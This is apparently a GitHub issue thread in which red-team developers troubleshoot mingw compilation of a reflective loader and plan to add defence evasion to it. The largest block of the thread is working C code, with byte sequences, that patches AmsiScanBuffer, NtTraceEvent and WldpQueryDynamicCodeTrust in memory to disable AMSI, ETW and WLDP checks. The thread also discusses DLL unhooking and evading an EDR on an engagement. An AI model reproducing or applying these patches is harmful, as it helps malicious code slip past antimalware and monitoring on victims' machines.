Closed mgeeky closed 3 years ago
Got it,
The sole fact that you introduce hardcoded values creates .rdata
section in an object file:
wchar_t ntdlStr[] = L"ntdl"; // L"ntdll.dll" - Only need the first 4 unicode bytes to find the DLL from the loader list
ntdllAddr = (PVOID)crawlLdrDllList(ntdlStr);
Strange that it compiles differently from macos ming. From macos ming, it doesn't do rdata, and puts those strings on the stack. I haven't tested compiling from Linux btw
So according to my experiments, the .rdata
section will be created only when we use wchar_t []
arrays. Switching back to char []
gets rid of it
Nice! Thanks for the info, had no clue. I'll patch it up today. Might just be a flag that ming needs for Linux to function same as Mac. Or I'll just make it char and tinker to figure out how to incorporate the Unicode nulls. Maybe I just unpack it into Unicode using the mmx registers. Idk.. lol.. I'll figure out something that works for both ;)
I'm trying to do just that right now :) Haven't come up with working implementation yet, mingw has a logic (unclear to me) deciding whether to move stuff to .rdata
- even when I attempt to introduce null bytes in char array...
Have no clue. The sole reason I'm trying to reuse your work is to try to introduce evasion patches:
unhook-bof
into your's reflective loader :)If only that bloody gcc got me my object compiled straight...
I like the way you think! Hey I know how to do the AMSI and ETW ones, but what is WLDP?
Mann... Evasion patches in the reflective loader... Dude that's sick. Thinking about it more. I can probably implement AMSI and ETW one in like 30 minutes and push out a new one
@mgeeky I fixed it! haha. It compiles from kali linux now. Changed the wchar to char like you recommended, worked beautifully! I already had that crawlLdrDllList() where it can handle either ASCII or Unicode so update was trivial :)
I already got something along the lines in the original User Defined Reflective Loader
kit:
#if _WIN32 || _WIN64
#if _WIN64
// ret
#define ETW_PATCH_BYTES {'\xc3'}
#define ETW_PATCH_SIZE 1
#define AMSISCANBUFFER_PATCH_SIZE 8
#define AMSISCANBUFFER_PATCH_BYTES {'\xb8','\x57','\x00','\x07','\x80','\xc2','\x18','\x00'}
#else
// ret 14h
#define ETW_PATCH_BYTES {'\xc2','\x14','\x00'}
#define ETW_PATCH_SIZE 3
#define AMSISCANBUFFER_PATCH_SIZE 6
#define AMSISCANBUFFER_PATCH_BYTES {'\xb8','\x57','\x00','\x07','\x80','\xc3'}
#endif
#endif
[...]
//
// STEP 6: apply evasion hooks
//
// Based on:
// - https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/
//
if (pLoadLibraryA != NULL && pGetProcAddress != NULL) {
// Due to PIC requirements imposed on the code, the below string literal has to be split into characters
// to make compiler generate registers assignment string's initialization
// https://gist.github.com/EvanMcBroom/f5b1bc53977865773802d795ade67273
char buf[] = {'V','i','r','t','u','a','l','P','r','o','t','e','c','t', '\x00'};
VIRTUALPROTECT pVirtualProtect = (VIRTUALPROTECT)pGetProcAddress((HMODULE)kernel32BaseAddress, buf);
if(pVirtualProtect != NULL)
{
// 6.1.Modules unhooking / refreshing
//if (RefreshPE("THIS_VALUE_WILL_BE_REPLACED", pLoadLibraryA, pGetProcAddress))
{
// dprintf("ReflectiveLoader: PE refreshed.");
}
// 6.2. AMSI hook
const char buf2[] = {'a', 'm', 's', 'i', '\x00'};
HMODULE amsi = pLoadLibraryA(buf2);
if (amsi != NULL) {
const char buf3[] = {'A', 'm', 's', 'i', 'S', 'c', 'a', 'n', 'B', 'u', 'f', 'f', 'e', 'r', '\x00'};
LPVOID pAmsiScanBuffer = pGetProcAddress(amsi, buf3);
if (pAmsiScanBuffer != NULL) {
DWORD oldProt = 0, temp = 0;
if (pVirtualProtect(pAmsiScanBuffer, AMSISCANBUFFER_PATCH_SIZE, PAGE_EXECUTE_READWRITE, &oldProt))
{
const char buf[] = AMSISCANBUFFER_PATCH_BYTES;
for (unsigned int i = 0; i < AMSISCANBUFFER_PATCH_SIZE; i++)
{
((char*)pAmsiScanBuffer)[i] = buf[i];
}
pVirtualProtect(pAmsiScanBuffer, AMSISCANBUFFER_PATCH_SIZE, oldProt, &temp);
}
}
}
// 6.3. ETW hook
const char buf4[] = {'n', 't', 'd', 'l', 'l', '\x00'};
HMODULE ntdll = pLoadLibraryA(buf4);
if (ntdll != NULL) {
const char buf5[] = {'N', 't', 'T', 'r', 'a', 'c', 'e', 'E', 'v', 'e', 'n', 't', '\x00'};
LPVOID pNtTraceEvent = pGetProcAddress(ntdll, buf5);
if (pNtTraceEvent != NULL) {
DWORD oldProt = 0, temp = 0;
if (pVirtualProtect(pNtTraceEvent, ETW_PATCH_SIZE, PAGE_EXECUTE_READWRITE, &oldProt))
{
const char buf[] = ETW_PATCH_BYTES ;
for (unsigned int i = 0; i < ETW_PATCH_SIZE; i++)
{
((char*)pNtTraceEvent)[i] = buf[i];
}
pVirtualProtect(pNtTraceEvent, ETW_PATCH_SIZE, oldProt, &temp);
}
}
}
// 6.4. WLDP (Windows Lockdown Policy) hook
const char buf6[] = {'w', 'l', 'd', 'p', '\x00'};
HMODULE wldp = pLoadLibraryA(buf6);
if (wldp != NULL) {
const char buf7[] = {'W', 'l', 'd', 'p', 'Q', 'u', 'e', 'r', 'y', 'D', 'y', 'n', 'a', 'm', 'i', 'c', 'C', 'o', 'd', 'e', 'T', 'r', 'u', 's', 't', '\x00'};
LPVOID pWldpQueryDynamicCodeTrust = pGetProcAddress(wldp, buf7);
DWORD oldProt = 0, temp = 0;
if (pWldpQueryDynamicCodeTrust != NULL) {
if (pVirtualProtect(pWldpQueryDynamicCodeTrust, AMSISCANBUFFER_PATCH_SIZE, PAGE_EXECUTE_READWRITE, &oldProt))
{
// WLDP patch uses the same sequence of bytes that AmsiScanBuffer does. Just simply returns 0
const char buf[] = AMSISCANBUFFER_PATCH_BYTES;
for (unsigned int i = 0; i < AMSISCANBUFFER_PATCH_SIZE; i++)
{
((char*)pWldpQueryDynamicCodeTrust)[i] = buf[i];
}
pVirtualProtect(pWldpQueryDynamicCodeTrust, AMSISCANBUFFER_PATCH_SIZE, oldProt, &temp);
}
}
}
}
}
But that isn't working the way I expected yet :P
Let's push it harder and focus on adding DLL refreshing logic - in an unhook-bof
way.
I've recently was on the engagement where I tested and top-notch EDR configured with all the policies possible. It correctly blocked most of my process-injection attempts. Yet I noticed, that it was able to kill my SharpHound running in a sacrificial process (launched through execute-assembly
but merely after couple of seconds it ran).
So it got me thinking - that the EDR did not trigger on process-injection but rather on memory scanning or upon SharpHound hitting some of the monitored APIs. That made me go sick about the idea for having custom Reflective Loader with all the goodies included :)
I like the way you think! Hey I know how to do the AMSI and ETW ones, but what is WLDP?
You can read more about it here: https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/#wldp_patch_A
modexp did an outstanding job walking us through viable patching means.
Awesome. I will def check it out. Just released a new version just now that does AMSI bypass and ETW bypass ;)
Hi!
When I load your provided
.o
file it loads & works fine:But when I try to recompile it myself on Windows WSL linux (bash, using the same
compile-x64.sh
script provided) it breaks with the following:That's weird, but in fact IDA shows additional section named
.rdata
in my binary that has these contents:Being referenced here:
Any idea what's going on, have you experienced anything like this befor? :-)
Cheers, Mariusz.